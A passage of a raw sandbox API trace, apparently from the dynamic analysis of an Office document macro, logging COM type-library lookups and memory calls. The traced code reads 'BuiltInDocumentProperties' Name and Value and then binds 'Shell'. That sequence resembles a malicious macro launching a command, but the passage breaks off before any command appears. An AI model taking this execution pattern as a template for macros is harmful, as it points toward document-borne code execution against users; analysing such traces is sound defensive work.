Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124b90 | out: ppvObject=0x124b90*=0x0) returned 0x80004002 [0053.610] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.610] IUnknown:AddRef (This=0x6856738) returned 0x3 [0053.610] ITypeInfo:LocalReleaseFuncDesc (This=0x6856738) returned 0x0 [0053.610] IUnknown:Release (This=0x6856738) returned 0x2 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124f58 | out: ppvObject=0x124f58*=0x0) returned 0x80004002 [0053.610] IUnknown:AddRef (This=0x6856738) returned 0x3 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ee0 | out: ppvObject=0x124ee0*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124eb0 | out: ppvObject=0x124eb0*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ea0 | out: ppvObject=0x124ea0*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ea8 | out: ppvObject=0x124ea8*=0x0) returned 0x80004002 [0053.610] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856738, ppTypeAttr=0x124ed8, pDummy=0x10 | out: ppTypeAttr=0x124ed8, pDummy=0x10) returned 0x0 [0053.610] ITypeInfo:LocalReleaseTypeAttr (This=0x6856738) returned 0x0 [0053.610] IUnknown:AddRef (This=0x6856738) returned 0x4 [0053.610] IUnknown:Release (This=0x6856738) returned 0x3 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250c8 | out: ppvObject=0x1250c8*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x6856738, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250c0 | out: ppvObject=0x1250c0*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125100 | out: ppvObject=0x125100*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125108 | out: ppvObject=0x125108*=0x0) returned 0x80004002 [0053.610] IUnknown:QueryInterface (in: This=0x6856688, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1250f8 | out: ppvObject=0x1250f8*=0x6856688) returned 0x0 [0053.610] ITypeInfo2:GetTypeKind (in: This=0x6856688, pTypeKind=0x125154 | out: pTypeKind=0x125154*=5) returned 0x0 [0053.610] IUnknown:Release (This=0x6856688) returned 0x4 [0053.611] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856738, ppTypeAttr=0x124a00, pDummy=0x0 | out: ppTypeAttr=0x124a00, pDummy=0x0) returned 0x0 [0053.611] ITypeInfo:LocalReleaseTypeAttr (This=0x6856738) returned 0x0 [0053.611] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856688, ppTypeAttr=0x124a00, pDummy=0x6 | out: ppTypeAttr=0x124a00, pDummy=0x6) returned 0x0 [0053.611] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69ea150 [0053.611] ITypeInfo:LocalReleaseTypeAttr (This=0x6856688) returned 0x0 [0053.611] IUnknown:Release (This=0x6856738) returned 0x3 [0053.611] IUnknown:Release (This=0x6856688) returned 0x3 [0053.611] IUnknown:AddRef (This=0x6856738) returned 0x4 [0053.611] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856738, ppTypeAttr=0x125318, pDummy=0x0 | out: ppTypeAttr=0x125318, pDummy=0x0) returned 0x0 [0053.611] ITypeInfo:LocalReleaseTypeAttr (This=0x6856738) returned 0x0 [0053.611] IUnknown:Release (This=0x6856738) returned 0x3 [0053.611] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.611] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.611] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.611] GetCurrentProcess () returned 0xffffffffffffffff [0053.611] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x4c) returned 1 [0053.611] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.611] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856738, ppTypeAttr=0x1248b0, pDummy=0x0 | out: ppTypeAttr=0x1248b0, pDummy=0x0) returned 0x0 [0053.611] ITypeInfo:LocalReleaseTypeAttr (This=0x6856738) returned 0x0 [0053.611] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125438 | out: ppvObject=0x125438*=0x0) returned 0x80004002 [0053.612] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125440 | out: ppvObject=0x125440*=0x0) returned 0x80004002 [0053.612] ITypeInfo:GetTypeComp (in: This=0x68569a0, ppTComp=0x125448 | out: ppTComp=0x125448*=0x68569a8) returned 0x0 [0053.612] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663f250 [0053.612] IUnknown:AddRef (This=0x68569a8) returned 0x5 [0053.612] IUnknown:Release (This=0x68569a8) returned 0x4 [0053.612] IMalloc:Realloc (This=0x7feffc15380, pv=0x69b6390, cb=0xa0) returned 0x69a87b0 [0053.612] IUnknown:Release (This=0x68569a0) returned 0x3 [0053.612] IUnknown:Release (This=0x68568f0) returned 0x2 [0053.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02f3e, cbMultiByte=26, lpWideCharStr=0x124f30, cchWideChar=27 | out: lpWideCharStr="BuiltInDocumentProperties") returned 26 [0053.612] ITypeComp:RemoteBind (in: This=0x68569a8, szName="BuiltInDocumentProperties", lHashVal=0x10bb5f, wFlags=0x3, ppTInfo=0x124ee8, pDescKind=0x124efc, ppFuncDesc=0x124f00, ppVarDesc=0x7fee47ec82c, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124ee8*=0x68569a0, pDescKind=0x124efc*=1, ppFuncDesc=0x124f00, ppVarDesc=0x7fee47ec82c, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.612] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x124ef0, pDummy=0x1 | out: ppTypeAttr=0x124ef0, pDummy=0x1) returned 0x0 [0053.612] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.612] IMalloc:Realloc (This=0x7feffc15380, pv=0x6911490, cb=0x400) returned 0x291f90 [0053.612] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x124ca0, pDummy=0x0 | out: ppTypeAttr=0x124ca0, pDummy=0x0) returned 0x0 [0053.612] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.612] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124d50 | out: ppvObject=0x124d50*=0x68569a0) returned 0x0 [0053.612] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x68569a0, memid=1000, invkind=2, pFuncIndex=0x124d90 | out: pFuncIndex=0x124d90*=0x4) returned 0x0 [0053.612] ITypeInfo2:GetFuncCustData (in: This=0x68569a0, index=0x4, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124da8 | out: pVarVal=0x124da8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x124e50, varVal2=0x697b488)) returned 0x0 [0053.612] IUnknown:Release (This=0x68569a0) returned 0x4 [0053.612] IUnknown:AddRef (This=0x68569a0) returned 0x5 [0053.612] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.612] IUnknown:Release (This=0x68569a0) returned 0x4 [0053.612] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124fa8 | out: ppvObject=0x124fa8*=0x0) returned 0x80004002 [0053.612] IUnknown:AddRef (This=0x68569a0) returned 0x5 [0053.612] IMalloc:Realloc (This=0x7feffc15380, pv=0x69c3e70, cb=0x80) returned 0x6a804b0 [0053.612] IMalloc:Realloc (This=0x7feffc15380, pv=0x69d7070, cb=0xa0) returned 0x69a8b20 [0053.612] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124f30 | out: ppvObject=0x124f30*=0x0) returned 0x80004002 [0053.612] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124f00 | out: ppvObject=0x124f00*=0x0) returned 0x80004002 [0053.612] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ef0 | out: ppvObject=0x124ef0*=0x0) returned 0x80004002 [0053.612] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124ef8 | out: ppvObject=0x124ef8*=0x0) returned 0x80004002 [0053.613] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x124f28, pDummy=0x10 | out: ppTypeAttr=0x124f28, pDummy=0x10) returned 0x0 [0053.613] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.613] IUnknown:AddRef (This=0x68569a0) returned 0x6 [0053.613] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.613] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125118 | out: ppvObject=0x125118*=0x0) returned 0x80004002 [0053.613] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125110 | out: ppvObject=0x125110*=0x0) returned 0x80004002 [0053.613] IUnknown:AddRef (This=0x68569a0) returned 0x6 [0053.613] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x125368, pDummy=0x43b1240 | out: ppTypeAttr=0x125368, pDummy=0x43b1240*=0x0) returned 0x0 [0053.613] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.613] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.613] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.613] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.613] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.613] GetCurrentProcess () returned 0xffffffffffffffff [0053.613] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x4c) returned 1 [0053.613] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.613] ITypeInfo:RemoteGetTypeAttr (in: This=0x68569a0, ppTypeAttr=0x124900, pDummy=0x0 | out: ppTypeAttr=0x124900, pDummy=0x0) returned 0x0 [0053.613] ITypeInfo:LocalReleaseTypeAttr (This=0x68569a0) returned 0x0 [0053.614] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x125540, pDummy=0x6a09030 | out: ppTypeAttr=0x125540, pDummy=0x6a09030*=0x70017) returned 0x0 [0053.614] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.614] IUnknown:Release (This=0x69fd518) returned 0x2 [0053.614] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125438 | out: ppvObject=0x125438*=0x0) returned 0x80004002 [0053.614] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125440 | out: ppvObject=0x125440*=0x0) returned 0x80004002 [0053.614] ITypeInfo:GetTypeComp (in: This=0x69fd518, ppTComp=0x125448 | out: ppTComp=0x125448*=0x69fd520) returned 0x0 [0053.614] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x663f210 [0053.614] IUnknown:AddRef (This=0x69fd520) returned 0x6 [0053.614] IUnknown:Release (This=0x69fd520) returned 0x5 [0053.614] IMalloc:Realloc (This=0x7feffc15380, pv=0x69a87b0, cb=0xb0) returned 0x69ae590 [0053.614] IUnknown:Release (This=0x69fd518) returned 0x4 [0053.614] IUnknown:Release (This=0x69fd518) returned 0x3 [0053.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c01422, cbMultiByte=5, lpWideCharStr=0x124f30, cchWideChar=6 | out: lpWideCharStr="Name") returned 5 [0053.614] ITypeComp:RemoteBind (in: This=0x69fd520, szName="Name", lHashVal=0x10f2f0, wFlags=0x3, ppTInfo=0x124ee8, pDescKind=0x124efc, ppFuncDesc=0x124f00, ppVarDesc=0x2e3beb0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124ee8*=0x69fd518, pDescKind=0x124efc*=1, ppFuncDesc=0x124f00, ppVarDesc=0x2e3beb0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.614] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124ef0, pDummy=0x1 | out: ppTypeAttr=0x124ef0, pDummy=0x1) returned 0x0 [0053.615] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.615] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124ca0, pDummy=0x0 | out: ppTypeAttr=0x124ca0, pDummy=0x0) returned 0x0 [0053.615] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.615] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124d50 | out: ppvObject=0x124d50*=0x69fd518) returned 0x0 [0053.615] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69fd518, memid=3, invkind=2, pFuncIndex=0x124d90 | out: pFuncIndex=0x124d90*=0x2) returned 0x0 [0053.615] ITypeInfo2:GetFuncCustData (in: This=0x69fd518, index=0x2, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124da8 | out: pVarVal=0x124da8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x124e50, varVal2=0x697b488)) returned 0x0 [0053.615] IUnknown:Release (This=0x69fd518) returned 0x4 [0053.615] IUnknown:AddRef (This=0x69fd518) returned 0x5 [0053.615] ITypeInfo:LocalReleaseFuncDesc (This=0x69fd518) returned 0x0 [0053.615] IUnknown:Release (This=0x69fd518) returned 0x4 [0053.615] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124fa8 | out: ppvObject=0x124fa8*=0x0) returned 0x80004002 [0053.615] IUnknown:AddRef (This=0x69fd518) returned 0x5 [0053.615] IMalloc:Realloc (This=0x7feffc15380, pv=0x6910200, cb=0x400) returned 0x6a9ff70 [0053.616] IUnknown:Release (This=0x69fd518) returned 0x4 [0053.616] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125118 | out: ppvObject=0x125118*=0x0) returned 0x80004002 [0053.616] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125110 | out: ppvObject=0x125110*=0x0) returned 0x80004002 [0053.616] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4000 [0053.616] IMalloc:Free (This=0x7feffc15380, pv=0x66d4000) [0053.616] IUnknown:AddRef (This=0x69fd518) returned 0x5 [0053.616] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x125368, pDummy=0x0 | out: ppTypeAttr=0x125368, pDummy=0x0) returned 0x0 [0053.616] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.616] IUnknown:Release (This=0x69fd518) returned 0x4 [0053.616] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.616] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.616] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.616] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.616] GetCurrentProcess () returned 0xffffffffffffffff [0053.616] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x54) returned 1 [0053.616] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.616] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124900, pDummy=0x0 | out: ppTypeAttr=0x124900, pDummy=0x0) returned 0x0 [0053.616] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.616] IUnknown:Release (This=0x69fd518) returned 0x5 [0053.616] IUnknown:Release (This=0x69fd518) returned 0x4 [0053.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02fa2, cbMultiByte=6, lpWideCharStr=0x124f30, cchWideChar=7 | out: lpWideCharStr="Value") returned 6 [0053.616] ITypeComp:RemoteBind (in: This=0x69fd520, szName="Value", lHashVal=0x104be4, wFlags=0x3, ppTInfo=0x124ee8, pDescKind=0x124efc, ppFuncDesc=0x124f00, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124ee8*=0x69fd518, pDescKind=0x124efc*=1, ppFuncDesc=0x124f00, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.616] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124ef0, pDummy=0x1 | out: ppTypeAttr=0x124ef0, pDummy=0x1) returned 0x0 [0053.617] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.617] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124ca0, pDummy=0x0 | out: ppTypeAttr=0x124ca0, pDummy=0x0) returned 0x0 [0053.617] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.617] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124d50 | out: ppvObject=0x124d50*=0x69fd518) returned 0x0 [0053.617] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69fd518, memid=0, invkind=2, pFuncIndex=0x124d90 | out: pFuncIndex=0x124d90*=0x4) returned 0x0 [0053.617] ITypeInfo2:GetFuncCustData (in: This=0x69fd518, index=0x4, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124da8 | out: pVarVal=0x124da8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x124e50, varVal2=0x697b488)) returned 0x0 [0053.617] IUnknown:Release (This=0x69fd518) returned 0x5 [0053.617] IUnknown:AddRef (This=0x69fd518) returned 0x6 [0053.617] ITypeInfo:LocalReleaseFuncDesc (This=0x69fd518) returned 0x0 [0053.617] IUnknown:Release (This=0x69fd518) returned 0x5 [0053.617] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x124fa8 | out: ppvObject=0x124fa8*=0x0) returned 0x80004002 [0053.617] IUnknown:AddRef (This=0x69fd518) returned 0x6 [0053.617] IUnknown:Release (This=0x69fd518) returned 0x5 [0053.617] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125118 | out: ppvObject=0x125118*=0x0) returned 0x80004002 [0053.617] IUnknown:QueryInterface (in: This=0x69fd518, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125110 | out: ppvObject=0x125110*=0x0) returned 0x80004002 [0053.617] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4000 [0053.617] IMalloc:Free (This=0x7feffc15380, pv=0x66d4000) [0053.617] IUnknown:AddRef (This=0x69fd518) returned 0x6 [0053.617] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x125368, pDummy=0x0 | out: ppTypeAttr=0x125368, pDummy=0x0) returned 0x0 [0053.617] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.617] IUnknown:Release (This=0x69fd518) returned 0x5 [0053.617] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.617] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.617] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.617] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.617] GetCurrentProcess () returned 0xffffffffffffffff [0053.617] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x54) returned 1 [0053.617] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.617] ITypeInfo:RemoteGetTypeAttr (in: This=0x69fd518, ppTypeAttr=0x124900, pDummy=0x0 | out: ppTypeAttr=0x124900, pDummy=0x0) returned 0x0 [0053.617] ITypeInfo:LocalReleaseTypeAttr (This=0x69fd518) returned 0x0 [0053.617] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0053.617] strcpy_s (in: _Dst=0x124f00, _DstSize=0x6, _Src="Shell" | out: _Dst="Shell") returned 0x0 [0053.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124f00, cbMultiByte=6, lpWideCharStr=0x124d50, cchWideChar=6 | out: lpWideCharStr="Shell") returned 6 [0053.617] IUnknown:AddRef (This=0x677d9c0) returned 0xa [0053.618] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Shell", lHashVal=0x10d756, pfName=0x124e20, pBstrLibName=0x124d50 | out: pfName=0x124e20*=1, pBstrLibName=0x124d50) returned 0x0 [0053.618] IUnknown:Release (This=0x677d9c0) returned 0x9 [0053.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Shell", cchWideChar=-1, lpMultiByteStr=0x124f00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shell", lpUsedDefaultChar=0x0) returned 6 [0053.618] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Shell") returned 0x10d756 [0053.618] IUnknown:Release (This=0x68569a0) returned 0x6 [0053.618] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2c5e, cbMultiByte=6, lpWideCharStr=0x124e80, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0053.618] ITypeComp:RemoteBind (in: This=0x68569a8, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x124e38, 